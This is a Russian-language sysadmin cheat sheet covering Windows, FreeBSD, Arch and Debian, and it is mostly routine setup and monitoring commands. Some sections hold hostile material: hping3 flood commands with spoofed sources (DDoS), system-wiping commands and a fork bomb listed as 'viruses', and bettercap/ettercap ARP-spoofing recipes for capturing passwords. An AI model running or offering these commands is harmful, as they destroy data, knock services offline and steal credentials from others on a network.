Помощь
WINDOWS
F8
bcdedit /set {current} bootmenupolicy legacy
bcdedit /set {default} bootmenupolicy standard
menu
bcdedit /set {globalsettings} advancedoptions true
bcdedit /deletevalue {globalsettings} advancedoptions
Пароль
netplwiz
Брандмауэр
netsh advfirewall reset
netsh advfirewall set allprofiles state on
netsh advfirewall set allprofiles state off
DISM
SFC /scannow
dism /online /cleanup-image /scanhealth
dism /online /cleanup-image /restorehealth
Garmin
Gmapsupp.img -- ваша карта
Gmapsup2.img -- другая карта
Gmapprom.img -- другая карта
SoftAP
netsh wlan set hostednetwork mode=allow ssid=12345678 key=12345678
netsh wlan start hostednetwork
netsh wlan stop hostednetwork
netsh wlan show hostednetwork
netsh wlan set hostednetwork mode=disallow
netsh wlan set hostednetwork mode=allow
DirectX
dxdiag
DriverStore
pnputil /?
Windows store
Get-AppxPackage -AllUsers | Remove-AppxPackage
Защита
Set-MpPreference -PUAProtection 1 (0)
Командная строка.
ping beginpc.ru
pathping yandex.ru
tracert google.ru
ipconfig /flushdns
FREEBSD
Установка nvidia.
# pciconf -lv | grep -B 4 VGA
# kldload linux
# kldstat | grep linux
# nano /etc/rc.conf >>> linux_enable="YES"
$ cd /usr/ports/x11/nvidia-driver
# make install\uninstall\clean
$ cd /usr/ports/x11/nvidia-xconfig
# make install\uninstall\clean
# nvidia-xconfig
# kldload nvidia
# nano /boot/loader.conf >>> nvidia_load="YES"
$ shutdown -r now
Установка AMD\ATI.
# pciconf -lv | grep -B 4 VGA
$ cd /usr/ports/graphics/mesa-libs
# make install\uninstall\clean
$ cd /usr/ports/graphics/drm-kmod
# make install\uninstall\clean
# nano /etc/rc.conf >>> kld_list="radeonkms"
$ shutdown -r now
Русификация консоли.
# nano /etc/login.conf
# cap_mkdb /etc/login.conf
# pw usermod user_name -L russian
# nano /boot/loader.conf >>> hw.vga.textmode=0
Bash.
# echo "/usr/local/bin/bash" >> /etc/shells
# chsh -s /usr/local/bin/bash user_name
# pw usermod user_name -s /usr/local/bin/bash
Управление питанием.
# pkg install policykit
# pw usermod user_name -G operator
Evince.
# nano /etc/rc.conf >>
dbus_enable="YES"
hald_enable="YES"
Температура.
# kldload coretemp\amdtemp
# kldstat
# sysctl -a | grep temper
# nano /boot/loader.conf >>>
coretemp_load="YES"
amdtemp_load="YES"
Пересборка мира.
# svnlite info /usr/src
# svnlite update /usr/src
# svnlite checkout https://svn.freebsd.org/base/head /usr/src
# chflags -R noschg /usr/obj/*
# rm -rf /usr/obj
---------------------
$ cd /usr
# git clone --depth=1 https://git.freebsd.org/src.git
$ cd /usr/src
# make -j4 buildworld
# make -j4 buildkernel KERNCONF="GENERIC-NODEBUG"
# make installkernel KERNCONF="GENERIC-NODEBUG"
$ shutdown -r now
$ cd /usr/src
# make installworld
$ shutdown -r now
------------------------
# cd /usr/src
# make -j4 buildworld
# make -j4 kernel
# shutdown -r now
# mergemaster -p
# cd /usr/src
# make installworld
# mergemaster -iF
# make check-old
# make delete-old
# make check-old-libs
# make delete-old-libs
# shutdown -r now
# cd /usr/src
# make -DBATCH_DELETE_OLD_FILES=true delete-old delete-old-libs
# make cleandir
Обновление портов.
# portsnap fetch
# portsnap extract
# portsnap fetch
# portsnap update
Синхронизация времени.
# ntpdate 1.pool.ntp.org
Мониторинг.
stat — показывает использование дисков.
gstat -a — используется для вывода только активных устройств
vmstat — показывает состояние виртуальной памяти и буфера.
vmstat 5 — отображает статистику раз в пять секунд
vmstat -z — показывает состояние буфера
vmstat -i — показывает состояние прерываний
iostat — выводит статистику по I/O усройств
iostat -d -w5 — показывать информацию по дискам, с периодичностью в пять секунд безостановочно
iostat -dx -w5 — показывает расширенную статистику
systat — отображает различные параметры системы.
systat -vmstat 1 — отображает суммарную системную статистику
systat -netstat 1 — показывает активные сетевые соединения
systat -ifstat 1 — отображает нагрузку сетевых интерфейсов
systat -tcp 1 — отображает статистику tcp-соединения, возможен просмотр по icmp, ip, icmp6, ip6
systat -iostat 1 — отображает нагрузку на процессов, дисковую подсистему
systat -swap 1 — показывает загрузку файла подкачки
netstat — показывает активные сетевые соединения.
netstat -w 1 — количество пакетов в настоящее время
netstat -ibt — вывод сетевых интерфейсов с разбивкой по IP адресам, отображает объём трафика, количество ошибок, коллизий.
netstat -rn — отображает таблицу маршрутизации
diskinfo -t ad0 – показывает информацию по диску, и делает тест на дисковую производительность.
sysctl — позволяет посмотреть параметры в системы и внести изменения, такие как стек tcp/ip, вирутальной памяти.
sysctl -a — показывает все параметры
sysctl kern.ipc.numopensockets — показывает количество открытых сокетов
sysctl kern.openfiles — показывает количество открытых файлов
df — утилита, которая показывает свободное место на дисках.
df -h — отображает слайсы, и свободное\занятое место.
df -i — показывает количество занятых инодов.
fstat — показывает список открытых файлов.
fstat |grep http| wc -l — показывает список открытых файлов по процессу http
sockstat — отображает информацию о сокетах, сетевых и файловых.
sockstat -l — список портов открытых на прослушивание
sockstat -c список установленных соединений
sockstat -4, -6 — по протоколу ipv4 или ipv6
lsof — показывает информацию от откртых сокетах, файлах и сетевых соединениях.
lsof -i -n — показывает открытые интернет-соединения
lsof -i -n |grep ESTABLISHED — показывает открытые, и установленные сетевые соединения
ps auxww|grep имя\pid\откогозапущено — позволяет получить информацию по интересующему процессу.
mount — показывает смонтированные разделы.
swapinfo — показывает информацию о файле подкачки.
tunefs -p /tmp – показывает информацию о файловой системе.
ARCH
Pacman.
# pacman -Syy - обновление репы
# pacman -Su - обновление пакетов
# pacman -Qe\Qm\Qn\Qent - установленые пакеты
# pacman -S имя_пакета - установка пакета
# pacman -Sc - умная очистка кеша
# pacman -Scc - полная очистка кеша
# pacman -R имя_пакета - удаление пакета
# pacman -Rs имя_пакета - удаление пакета с зависимостями
# pacman -Rns $(pacman -Qqdt) - удаление пакетов сирот
# pacman -S man-pages-ru - manы на русском
# man -L ru <manpage> - русский man
# man -d -t
# LC_ALL=C pacman -Qi | awk '/^Name/{name=$3} /^Installed Size/{print $4$5, name}' | sort -h
# pacman -S fzf
# pacman -Qq | fzf --preview 'pacman -Qil {}' --layout=reverse --bind 'enter:execute(pacman -Qil {} | less)'
# pacman -S pacutils
# pacreport --unowned-files
Wlan.
# pacman -S net-tools
# ifconfig -a
# pacman -S wireless_tools
# pacman -S wpa_supplicant
# wpa_passphrase essid key
# cd /etc/netctl
# cp examples/wireless-wpa wlan0
# nano wlan0 - отредактировать интерфейс, имя essid, psk-ключ
# netctl enable \ disable wlan0
# ip link set wlan0 down \ netctl start wlan0
Nvidia.
$ ссылка
# pacman -S nvidia
# pacman -S nvidia-dkms
# mkinitcpio -p linux
Nvidia &&&xx install\reinstall.
# pacman -Rs nvidia-390xx
# pacman -Rs nvidia-390xx-utils
# pacman -Rs nvidia-390xx-dkms
$ systemctl reboot
$ git clone https://aur.archlinux.org/nvidia-390xx-utils.git
$ git clone https://aur.archlinux.org/nvidia-390xx.git
$ cd nvidia-390xx-utils
$ makepkg -sri
$ cd
$ cd nvidia-390xx
$ makepkg -sri
$ systemctl reboot
$ rm -rf nvidia-390xx-utils
$ rm -rf nvidia-390xx
Ati.
# pacman -S opencl-mesa
Шестеренки.
# pacman -S mesa-demos lib32-mesa-demos
# glxgears
# __GL_SYNC_TO_VBLANK=0 glxgears
# vblank_mode=0 glxgears
Запись с экрана.
$ ffmpeg -f x11grab -s 1920x1080 -r 25 -i :0.0 -vcodec qtrle screencast.mov
$ ffmpeg -f x11grab -s `xrandr | grep '*' | awk '{print $1}'` -r 25 -i :0.0 -vcodec qtrle screencast.mov
$ ffmpeg -f x11grab -s `xrandr | grep '*' | awk '{print $1}'` -r 25 -i :0.0 -vcodec libx264 -an -crf 20 output.mkv
Meltdown & Co.
# nanio /etc/default/grub - отредактировать строку
GRUB_CMDLINE_LINUX_DEFAULT="quiet nopti nospectre_v2 l1tf=off no_stf_barrier nospec_store_bypass_disable noibrs noibpb"
GRUB_CMDLINE_LINUX_DEFAULT="quiet mitigations=off"
# sudo grub-mkconfig -o /boot/grub/grub.cfg
# sudo dmesg | grep "Command line:"
# sudo grep -R . /sys/devices/system/cpu/vulnerabilities
Realtek.
# pacman -S wireless-regdb
Sway.
input * {
xkb_layout us,ru
xkb_options grp:alt_shift_toggle,grp_led:scroll
}
Копирование системы на другой носитель.
# pacman -S arch-install-scripts
# cfdisk - создать раздел sd&1
# mkfs.ext4 /dev/sd&1 -L root
# mount /dev/sd&1 /mnt
# cp -ax / /mnt
# arch-chroot /mnt pacman -S grub-bios
# genfstab -U /mnt >> /mnt/etc/fstab
# arch-chroot /mnt /bin/bash
# mkinitcpio -p linux
# grub-install /dev/sd&
# mount /dev/sd&1 /mnt
# grub-mkconfig -o /mnt/boot/grub/grub.cfg
# exit
# nano /etc/fstab - отредактировать несоответствия
# systemctl poweroff
Tor.
# pacman -S tor torsocks
# -u tor /usr/bin/tor
# systemctl enable tor
# systemctl start tor
$ socks://localhost:9050
Luakit.
# pacman -S lua51 lua51-filesystem lua-filesystem luajit webkit2gtk
# pacman -S git
$ git clone git://github.com/luakit/luakit.git
$ cd luakit
$ make
# make install
# pacman -S gst-libav gst-plugins-base gst-plugins-good
SSH+fail2ban.
# pacman -S openssh
# pacman -S fail2ban
# systemctl enable\disable sshd.service
# systemctl enable\disable fail2ban.service
# systemctl start\stop sshd.service
# systemctl start\stop fail2ban.service
# fail2ban-client status sshd
# ssh -X user@192.168.x.x
$ exit
VNSTAT.
# pacman -S vnstat
# systemctl enable\disable vnstat
# systemctl start\restart\stop vnstat
# vnstat -i eth0 --add\remove
Синхронизация времени.
# systemctl enable systemd-timesyncd.service
# systemctl start systemd-timesyncd.service
Изменеие размера изображений
# pacman -S imagemagick
# cd $
# for i in `ls`; do convert -resize '1920' -quality 65 $i $i; done
Warning mkinitcpio.
# git clone https://aur.archlinux.org/aic94xx-firmware.git
# cd aic94xx-firmware
# makepkg -sri
# git clone https://aur.archlinux.org/wd719x-firmware.git
# cd wd719x-firmware
# makepkg -sri
# git clone https://aur.archlinux.org/upd72020x-fw.git
# cd upd72020x-fw
# makepkg -sri
Ключи.
# pacman -Sy archlinux-keyring
# rm -rf /etc/pacman.d/gnupg
# pacman-key --init
# pacman-key --populate archlinux
# pacman -Su
Redshift.
# pacman install redshift
$ redshift -g 0.1:1:0.1 -l 0.0:0.0
Lib32.
# pacman -Rss $(comm -12 <(pacman -Qq | sort) <(pacman -Slq multilib | sort))
GRC.
# pacman -S grc
$ whereis grc
$ grc: /usr/bin/grc /etc/grc.conf /usr/share/grc /usr/share/man/man1/grc.1.gz
$ cat /etc/grc.conf
$ cat /etc/grc.conf | grep "conf\." | cut -d "." -f2 | awk '{print ("alias "$1"=\"grc --colour=auto "$1"\"")}' ->
$ nano .bashrs ->
if [ -f /usr/bin/grc ]; then
->
fi
Libtrash.
https://pages.stern.nyu.edu/~marriaga/software/libtrash/
$ nano .libtrash ->
TRASH_CAN = .Trash
INTERCEPT_RENAME = NO
IGNORE_HIDDEN = NO
IGNORE_EXTENSIONS =
UNREMOVABLE_DIRS=/home/arch/.cache/mc;/home/arch/.config/mc;/home/arch/.local/share/mc
GLOBAL_PROTECTION = NO
$ nano .bashrc ->
alias mc='LD_PRELOAD=/usr/local/lib/libtrash.so mc'
DEBIAN
https://rutracker.org/forum/viewtopic.php?t=5550706
Команды.
# man
# uptime
# xrandr
# lscpu
# lspci
# lsusb
# lsblk
# fdisk -l
# free -m
# ps
# ps -aux
# ps -Af
# pstree
# uname -a
# df -h
# ifconfig
# glxinfo | grep -i opengl
# xdpyinfo | grep resolution
# smem -mkt | tail -20
# ls -ltrah
# host google.com
Утилиты.
# apt install bb
# apt install toilet
# apt install sl
# apt install cmatrix
Команды.
# cat /proc/meminfo
# cat /proc/cpuinfo
# watch grep \"Active:\" /proc/meminfo
# watch grep \"cpu MHz\" /proc/cpuinfo
# netstat -a | more
# netstat -lptnu
$ watch cat /proc/net/dev
$ watch netstat -i
$ watch ip -s link
# watch ifconfig
# curl ipinfo.io
# curl ifconfig.co
# ps -eo rss,user,comm --sort -rss | head -20
# ps -e -orss=,args= | grep имя_процесса | grep -v grep | perl -alne '{$rss+=$F[0]}END{print $rss}'
$ awk '{ print $1 }' .bash_history | sort | uniq -c | sort -hr | head
$ ls --time-style=long-iso -clt / | tail -n 1 | awk '{ print $7, $6}'
$ ls -laR /boot
$ df -hT
# fdisk -l
$ lsblk
$ cat /etc/fstab
$ blkid -c /dev/null
Железо.
# dmidecode
# dmidecode -t processor
# dmidecode -t memory
# dmidecode -t 17
# dmidecode -t bios
# lshw
# lshw -short
Порты.
$ ss -tl
$ ss -lu
$ ss -lntup
$ ss
$ netstat -pnltu
$ lsof -i
$ lsof -n -P | grep LISTEN
$ lsof -i tcp
$ lsof -i udp
$ nmap -sT -O localhost
$ nmap -sU localhost
Системный монитор Top
[1] Отобразить всю статистику по всем ядрам.
[c] Абсолютный путь расположения модуля команды и её аргументы.
[h] Вывести справку о программе.
[k] Уничтожить процесс. Программа запрашивает у вас код процесса и сигнал, который будет ему послан.
[M] Сортировать по объёму используемой памяти.
[n] Изменить число отображаемых процессов. Вам предлагается ввести число.
[P] Сортировать по загрузке процессора.
[r] Изменить приоритет процесса.
[u] Сортировать по имени пользователя.
[Z] Выбрать цвет подсветки.
[z] Подсветить работающие процессы.
[Пробел] Немедленно обновить содержимое экрана.
top -o RES
top -o %MEM
Скрипт inxi.
# apt install inxi
# inxi -Fx
Раскладка.
# /etc/defaults/keyboard
XKBLAYOUT="us,ru"
XKBOPTIONS="grp:alt_shift_toggle,grp_led:scroll"
# setxkbmap -layout 'us,ru' -option 'grp:ctrl_shift_toggle,grp_led:scroll'
Звук.
# apt-get install alsa-utils alsa-base alsa-tools
# alsactl init
# alsamixer
# alsactl store
МФУ.
# apt install printer-driver-all
# apt install cups cups-pdf
# apt install sane xsane
# http://127.0.0.1:631
Время.
# dpkg-reconfigure tzdata
# date MMDDhhmmYYYY.ss
# hwclock --set --date="xxxx-xx-xx xx:xx:xx" --localtime
# cp /usr/share/zoneinfo/Europe/Moscow /etc/localtime
# ntpdate 129.6.15.28
Погода.
# curl 'http://wttr.in'
'http://wttr.in'
Скриншотер. Базовый синтаксис:
# scrot desktop.png
# scrot -cd 5 countdown.png
# scrot -q 70 quality.png
# scrot -s file.png
Размеры папок и пакетов
# du --max-depth=1 / | sort -rn - размеры дирректорий персвого уровня в /
# du / | sort -rn - размеры всех дирректорий в /
# dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n - размеры установленных пакетов
# find / -type f -exec ls -s {} \; | sort -n -r | head -10 - размеры файлов
APT-GET.
# apt update - обновление списка
# apt -u upgrade - обновление пакетов
# apt-mark hold - заблокировать обновление пакета
# apt-mark unhold - разблокировать обновление пакета
# apt -u dist-upgrade - обновление дистра
# apt install --no-install-recommends xxx - установка пакета без рекомендаций
# apt install --no-install-suggests xxx - установка пакета без предложений
# apt-cache search xxx - описание пакета
# apt-cache show xxx - подробная информация о пакете
# apt-cache pkgnames xxx - поиск пакетов по имени
# apt --purge remove xxx -полное удаление пакета
# apt --purge autoremove xxx - полное удаление пакета, его зависимостей и конфигураций
# apt autoremove - удаление ненужных пакетов
# apt --purge autoremove - удаление ненужных пакетов с зависимостями и конфигурациями
# apt --purge autoremove `dpkg --get-selections | grep ":i386" | awk '{print $1}'`
# apt-key list - установленые ключи
# apt autoclean - автоматическая очистка кеша apt
# apt clean - полная очистка кеша apt
# nano /etc/apt/apt.conf.d/norecommends =>
APT::Install-Recommends "0";
APT::AutoRemove::RecommendsImportant "false";
APT::AutoRemove::SuggestsImportant "false";
Установка и удаление deb.
# dpkg -i /home/xxx.deb
# apt-get install -f
# dpkg -r xxx
# dpkg --remove --force-depends xxx
# dpkg -l | grep -Pv '^ii'
Редактирование deb.
$ dpkg -x xxx.deb /tmp/program - распаковать пакет в папку
$ mkdir /tmp/program/DEBIAN - создать информационную директорию
$ dpkg -e xxx.deb /tmp/program/DEBIAN - распаковать информацию о пакете
$ dpkg -b /tmp/program xxx-new.deb - собрать пакет
Установка rpm.
# apt-get install rpm
# rpm -ivh --nodeps xxx.rpm
Монитор.
# xset dpms force standby
# xset dpms force suspend
# xset dpms force off
# xset -dpms; xset s off
# xrandr
# xrandr --output VGA-1 --mode 1280x1024
# xrandr --output VGA-1 --brightness 1.0
# xrandr --output VGA-0 --mode 1920x1080 --pos 3840x0 --output DVI-I-0 --mode 1920x1080 --pos 0x0
Добавить разрешение.
# cvt 1280 720 - строка Modeline
# xrandr --newmode "1280x720" 74.50 1280 1344 1472 1664 720 723 728 748 -hsync +vsync
# xrandr --addmode VGA-1 1280x720
# xrandr --output VGA-1 --mode 1280x720
Запись образа USB CD DVD
# dd if=/dev/cdrom of=xxx.iso
# dd if=xxx.iso of=/dev/sdb
# dd if=~/xxx.iso of=/dev/cdrom
# wodim dev=/dev/hdc -eject -v xxx.iso
Дефрагментация.
# e4defrag -c /dev/sda? - сканирование
# e4defrag /dev/sda? - дефрагментация
Lan.
# ifconfig -a
# править /etc/network/interfaces - добавить сетевое устройство eth0
# reboot
# ifconfig
Wlan.
# apt install wireless-tools
# apt install wpasupplicant
# lspci
# lsusb
# apt install firmware-realtek - драйвер
# apt install firmware-ralink - драйвер
# apt install firmware-iwlwifi - драйвер
# apt install broadcom-sta-dkms - драйвер
# apt install broadcom-sta-source - драйвер
# apt install firmware-misc-nonfree - драйвер
# apt install firmware-atheros - драйвер
# apt install firmware-ath9k-htc - драйвер
# reboot
# ifconfig -a
# sudo nano /etc/network/interfaces - добавить сетевое устройство wlan0
allow-hotplug wlan0
iface wlan0 inet dhcp
# reboot
# iwlist wlan0 scan
# wpa_passphrase ssid key - генерировать psk-ключ
# sudo nano /etc/network/interfaces - добавить к сетевому устройству wlan0
wpa-ssid "ssid"
wpa-psk "psk-ключ"
# reboot
# ifup wlan0
# wpa_cli status
# ifdown wlan0
Подключение по ssh.
# ssh -X user@192.168.x.x
Температура.
# apt-get install lm-sensors
# sensors-detect
# sensors
# apt-get install hddtemp
# sudo ln -s /usr/sbin/hddtemp /usr/bin/hddtemp
# sudo chmod a+s /usr/sbin/hddtemp
DDos
# apt install hping3
# hping3 -S -p 80 --flood xx.xx.xx.xx
# hping3 -S -p 80 --flood -a qq.qq.qq.qq xx.xx.xx.xx
# hping3 -S -a qq.qq.qq.qq --flood -p 80 xx.xx.xx.xx
# hping3 -S xx.xx.xx.xx -i u1 --rand-source -p 80
# hping3 --udp xx.xx.xx.xx -i u1 --rand-source -p 80
# hping3 --icmp xx.xx.xx.xx -i u1 --rand-source
# hping3 xx.xx.xx.xx -p 80 -R --rand-source --faster
# hping3 --udp xx.xx.xx.xx -i u1 --rand-source --destport 53 -x -g 500 -m 1000 -d 1000
# hping3 --udp xx.xx.xx.xx -i u1 --rand-source --destport 53
Видеокарта Nvidia.
# lspci | grep -E "VGA|3D"
# apt install nvidia-detect
$ nvidia-detect
или
# sudo apt install nvidia-kernel-dkms
# glxinfo | grep -i opengl
$ glxgears
Видеокарта ATI Radeon
# apt install firmware-amd-graphics
# apt install mesa-opencl-icd
# apt install radeontop
# glxinfo | grep rendering
Тест HDD.
# apt install fio
# fio -readonly -name iops -rw=randread -bs=512 -runtime=20 -iodepth 32 -filename /dev/sda -ioengine libaio -direct=1
# apt install hdparm
# hdparm -I /dev/sdX
# hdparm -tT /dev/sdX
# hdparm -M /dev/sdX
# hdparm -B254 /dev/sdX
# apt install smartmontools
# smartctl -iA /dev/sd?
$ dd if=/dev/zero of=archivo.img count=1K bs=1M conv=fdatasync
# sudo badblocks -v /dev/sdc1 > badsectors.txt
Test Sysbench.
# apt install sysbench
$ sysbench --test=cpu --cpu-max-prime=20000 run
$ sysbench --test=memory run
$ sysbench --num-threads=64 --test=threads --thread-yields=1000 --thread-locks=8 run
Тест файловой системы. 1 - генерация файлов для теста, 2 - тест, 3 - удаление сгенерированых файлов
$ sysbench --num-threads=16 --test=fileio --file-total-size=3G --file-test-mode=rndrw prepare
$ sysbench --num-threads=16 --test=fileio --file-total-size=3G --file-test-mode=rndrw run
$ sysbench --num-threads=16 --test=fileio --file-total-size=3G --file-test-mode=rndrw cleanup
Тест процессора dc + 7z b
# sudo apt-get install dc
$ time echo '2 1000000 ^ p'|dc
$ 7z b
Время запуска системы.
# systemd-analyze critical-chain
# systemd-analyze blame
# systemd-analyze blame --user
# systemctl list-unit-files | grep enabled
# systemd-analyze plot > boot_analysis.svg
Учетная запись.
# su
# adduser xxx
# userdel -r xxx
Sudo.
# su
# apt-get install sudo
# adduser имя_учетной_записи sudo
# reboot
Смена альтернатив.
# sudo update-alternatives --config имя_умолчания
Вирусы.
# rm -rf / --no-preserve-root
# sleep 7200 && rm -rf --no-preserve-root / && init 0
# rm -rf / --no-preserve-root --no-preserve-uefi-mountpoint --disable-confirmation-dialog-and-crack-computer-with-unpossibilities-of-restoring
$ :( ){ :|:& };:
Rootkit.
# apt install rkhunter unhide
# rkhunter --versioncheck
# rkhunter --update
# rkhunter --propupd
# rkhunter -c --enable all --disable none
Восстановление файлов.
# sudo apt-get install scalpel
# sudo nano /etc/scalpel/scalpel.conf - раскоментить необходимое для восстановления
# sudo scalpel /dev/sda1 -o output
Монтировать ISO образ.
# sudo mkdir /media/myiso - директория для монтажа
# sudo modprobe loop - загрузить модуль
# sudo mount xxx.iso /media/myiso/ -t iso9660 -o loop - монтировать
# sudo umount /media/myiso/ - размонтировать
# sudo mount -o loop xxx.iso /mnt
# sudo umount /mnt
Монтировать разделы.
$ cat /proc/partitions
# sudo blkid
# sudo apt-get install ntfs-3g
# sudo mkdir /media/sdxx
# sudo chmod 777 /media/sdxx
# sudo mount /dev/sdxx /media/sdxx
# sudo mount -t ntfs-3g /dev/sdxx /media/sdxx
# sudo mount -t ntfs-3g /dev/sdxx /media/sdxx -o umask=0,nls=utf8
# sudo apt install makefs
# sudo mount -t ufs -o ufstype=ufs,ro /dev/sdXX /mnt
Обновить ядро.
# nano /etc/apt/sources.list
# apt update
# apt-cache search linux-image
# sudo apt install желаемый_linux-image
# apt install -t имя_дистра-backports желаемый_linux-headers_linux-image
# apt -t experimental install желаемый_linux-image-trunk
# dmesg | egrep -i --color 'errors|critical|failed'
Компилировать ядро.
https://www.kernel.org/
# apt install fakeroot kernel-package libncurses5-dev libssl-dev mitmproxy
$ tar xf ~/linux-xxx.tar.xz
$ cd linux-xxx
$ cp /boot/config-x.xx.x* .config
$ make menuconfig
$ ln -s ./Documentation/admin-guide/reporting-bugs.rst REPORTING-BUGS >4.10
$ make-kpkg configure
$ make-kpkg clean
$ export CONCURRENCY_LEVEL=2
$ time make-kpkg --rootcmd fakeroot --revision 1.0 --initrd kernel_image kernel_headers
Генерировать xorg.conf
# /etc/init.d/?dm stop
$ cd /etc/X11/
# Xorg -configure
# nvidia-xconfig
$ startx
$ nano xorg.conf.new -> Section "Device" -> Driver "nvidia"
Установка Wine-builds.
$ https://wiki.winehq.org/Debian
# sudo dpkg --add-architecture i386
$ wget https://dl.winehq.org/wine-builds/Release.key
# sudo apt-key add Release.key
# sudo nano /etc/apt/sources.list добавить deb https://dl.winehq.org/wine-builds/debian/ DISTRO main
# sudo apt update
# sudo apt install --install-recommends winehq-devel
$ winecfg
$ wine explorer /desktop=shell
Частота CPU.
# sudo apt-get install cpufrequtils
$ cpufreq-info
# cpufreq-set -g powersave -c x
$ watch grep \"cpu MHz\" /proc/cpuinfo
Запись аудио потока.
# sudo apt install streamripper
$ streamripper http://xxx.xx
$ ffmpeg -i 'https://xxx.xx' -c copy record.mp3
C.A.V.A.
# apt install libfftw3-dev libasound2-dev libncursesw5-dev libpulse-dev libtool automake libtool git pulseaudio
$ https://github.com/karlstav/cava
$ ./autogen.sh
$ ./configure
$ make
$ ./configure --enable-debug
# make install
# make uninstall ibgstreamer-plugins-base1.0-dev libgstreamer-plugins-bad1.0-dev
PASS.
# sudo apt install build-essential ruby-dev libpcap-dev
# sudo gem install bettercap
# sudo bettercap -XL
# sudo bettercap --proxy -P POST
# sudo bettercap -T 192.168.x.x --proxy -P POST
# sudo bettercap --proxy --proxy-https -P POST
# sudo bettercap -T 192.168.x.x --proxy --proxy-https -P POST
PASS.
# sudo apt install ettercap-text-only
# echo '1' > /proc/sys/net/ipv4/ip_forward
# nano /etc/ettercap/etter.conf - отредаектировать строки
ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the default
if you use iptables:
redir_command_on = "...... - раскомментировать #
redir_command_off = "...... - раскомментировать #
# ettercap -T -V text -P autoadd -SM arp:remote /// ///
# ettercap -T -V text -P autoadd -qSM arp:remote /// ///
# ettercap -T -V text -P autoadd -qSM arp:remote /192.168.1.1// /192.168.1.2-xx//
Квадраты в tty.
# nano /etc/systemd/system/multi-user.target.wants/console-setup.service
ExecStart=/lib/console-setup/console-setup.sh - заменить на ExecStart=/bin/setupcon
Шрифт.
# sudo apt install xfonts-terminus
# sudo dpkg-reconfigure console-setup
Midi.
# modprobe snd-seq-device
# modprobe snd-seq-midi
# modprobe snd-seq-oss
# modprobe snd-seq-midi-event
# modprobe snd-seq
Luakit - высокоинтелектуальный браузер ОФ.сайт https://github.com/luakit/luakit
# sudo apt install git
# sudo apt install build-essential
# sudo apt install gtk+-3.0
# sudo apt install lua5.1
# sudo apt install lua-filesystem
# sudo apt install webkit2gtk-4.0
# sudo apt install sqlite3
# sudo apt install libluajit-5.1-dev
# sudo apt install libsqlite3-dev
# sudo apt install uuid-dev
$ git clone git://github.com/luakit/luakit
$ cd luakit
$ make - компиляция
# sudo make install - установка
# sudo make uninstall - удаление
# sudo apt install ibgstreamer-plugins-base1.0-dev libgstreamer-plugins-bad1.0-dev
Firewall.
# iptables -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m hashlimit --hashlimit 1/hour --hashlimit-burst 2 --hashlimit-mode srcip --hashlimit-name SSH --hashlimit-htable-expire 60000 -j ACCEPT
# iptables -A INPUT -p tcp -m tcp --dport 22 --tcp-flags SYN,RST,ACK SYN -j DROP
# iptables -A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
Log's.
# journalctl -b
# journalctl -b | grep поиск_значение
USB - info.
# udevadm monitor --property --kernel --udev - подсоединить флешку
Virtualbox.
# apt install virtualbox
# /usr/bin/VBoxManage createvm --name xxxx –register
# /usr/bin/VBoxManage createhd --filename xxxx.vdi --size 1000 --variant Fixed
# /usr/bin/VBoxManage storagectl xxxx --name "IDE Controller" --add ide --controller PIIX4
# /usr/bin/VBoxManage storageattach xxxx --storagectl "IDE Controller" --port 0 --device 0 --type hdd --medium xxxx.vdi
# /usr/bin/VBoxManage storageattach xxxx --storagectl "IDE Controller" --port 0 --device 1 --type dvddrive --medium xxxx.iso
# /usr/bin/VBoxManage modifyvm xxxx --nic1 bridged --cableconnected1 on --bridgeadapter1 eth0
# /usr/bin/VBoxManage startvm xxxx
Wayland.
# apt install weston
# nano ~/.config/weston.ini
[keyboard]
keymap_rules=evdev
keymap_model=pc105
keymap_layout=us,ru
keymap_options=grp:alt_shift_toggle,grp_led:scroll
Web camera.
# ls -l /dev/ | grep video
# chown root:video /dev/video0
# chmod g+rw /dev/video0
$ ffmpeg -f video4linux2 -s 320x240 -i /dev/video0 out0.mpg
$ mpv av://v4l2:/dev/video0
Journald.
# journalctl --disk-usage
# journalctl --vacuum-size=10M
# journalctl -p err..alert
Tor.
# apt install tor
$ socks://localhost:9050
Locate.
# apt install locate
# updatedb
# locate -i name
Background.
$ feh --bg-tile -k https://source.unsplash.com/random/1920x1080
$ exec --no-startup-id cd /tmp && feh --bg-tile -k https://source.unsplash.com/random/1920x1080
$ exec --no-startup-id feh --bg-tile http://lorempixel.com/1920/1080
Журналирование разделов.
# umount /dev/sdXX
# tune2fs -o journal_data_writeback /dev/sdXX
# tune2fs -O ^has_journal /dev/sdXX
# e2fsck -f /dev/sdXX
Fsck.
# fsck -y /dev/sdXX
# reboot -f
Разрешение grub и tty.
# nano /etc/default/grub >
GRUB_GFXMODE=1024x768x32
GRUB_GFXPAYLOAD_LINUX=1280x1024x16
# sudo update-grub
User_agent.
Mozilla/5.0 ({os_info}) AppleWebKit/{webkit_version} (KHTML, like Gecko) {qt_key}/{qt_version} {upstream_browser_key}/{upstream_browser_version} Safari/{webkit_version}
Android mount.
# apt install go-mtpfs
# go-mtpfs /mnt
# fusermount -u /mnt
iptables.
sudo iptables -F
sudo iptables -t nat -A POSTROUTING -o enp2s0 -j MASQUERADE
sudo iptables -A FORWARD -i enp2s0 -o enp2s0 -j REJECT
sudo iptables -I FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu
sudo iptables-save
TLP.
# apt install tlp
# tpl-stat
# nano /etc/tlp.d/00-template.conf
TLP_DEFAULT_MODE=BAT
TLP_PERSISTENT_DEFAULT=1
CPU_SCALING_MAX_FREQ_ON_BAT=800000
DISK_DEVICES=
# systemctl enable\disable\start\stop\restart tlp
Experimental\Unstable\Testing.
# nano /etc/apt/sources.list.d/testing.list =>
deb http://deb.debian.org/debian testing main contrib non-free non-free-firmware
# nano /etc/apt/sources.list.d/unstable.list =>
deb http://deb.debian.org/debian unstable main contrib non-free non-free-firmware
# nano /etc/apt/sources.list.d/experimental.list =>
deb http://deb.debian.org/debian experimental main contrib non-free non-free-firmware
# nano /etc/apt/preferences.d/preferences =>
Package: *
Pin: release a=experimental\unstable\testing
Pin-Priority: 900
# apt update\upgrade\dist-upgrade
Tmpfs.
# cp /usr/share/systemd/tmp.mount /etc/systemd/system/
# systemctl enable tmp.mount
$ nano ~/.profile =>
export XDG_CACHE_HOME="/tmp/.cache"
[ -d "${XDG_CACHE_HOME}" ] || (
mkdir -p "${XDG_CACHE_HOME}"
